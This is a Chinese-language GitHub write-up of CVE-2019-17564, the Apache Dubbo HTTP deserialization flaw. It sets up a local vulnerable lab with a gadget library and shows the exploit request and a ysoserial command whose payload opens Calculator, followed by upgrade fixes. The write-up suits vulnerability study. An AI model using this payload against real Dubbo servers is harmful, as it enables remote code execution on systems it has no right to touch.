fairyming / CVE-2019-17564

CVE-2019-17564:Apache Dubbo反序列化漏洞

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

CVE-2019-17564:Apache Dubbo反序列化漏洞

0x00 简介

Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。

0x01 漏洞概述

 Apache Dubbo支持多种协议,官方推荐使用Dubbo协议.Apache Dubbo HTTP协议中的一个反序列化漏洞(CVE-2019-17564),该漏洞的主要原因在于当Apache Dubbo启用HTTP协议之后,Apache Dubbo对消息体处理不当导致不安全反序列化,当项目包中存在可用的gadgets时即可导致远程代码执行.。

0x02 影响版本

2.7.0 <= Apache Dubbo <= 2.7.4.1 2.6.0 <= Apache Dubbo <= 2.6.7 Apache Dubbo = 2.5.x

0x03 环境搭建

1、因为dubbo的启动需要依赖zookeeper,所以先安装zookeeper

wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
# 将conf目录下的zoo_sample.cfg改名为zoo.cfg
mv zoo_sample.cfg zoo.cfg
# 进入bin目录启动zookeeper
./zkServer.sh start

WX20200222-171524@2x.png

2、从GIthub上获取dubbo的项目,并修改pom.xml

git clone https://github.com/apache/dubbo-samples
# 进入到dubbo-samples-http目录中,修改pom.xml
vim pom.xml

将dubbo版本修改为有漏洞的版本 WX20200222-172028@2x.png 添加依赖,导入一个可触发的gadgets,这边导入的是commons-collections4-4.0

<dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>

WX20200222-172346@2x.png

3、mvn构建,启动dubbo

mvn clean package
mvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java

WX20200222-172721@2x.png

0x04 漏洞利用

payload

POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1
Host: 127.0.0.1:8080

paylaod

这边使用ysoserial生成paylaod

java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser

bp发包 WX20200222-173202@2x.png

0x05 修复方式

  1. 禁用HTTP协议
  2. 及时升级到2.7.5及以上版本,相关链接:https://github.com/apache/dubbo/releases/tag/dubbo-2.7.5

参考链接:

https://www.mail-archive.com/dev@dubbo.apache.org/msg06225.html

About

CVE-2019-17564:Apache Dubbo反序列化漏洞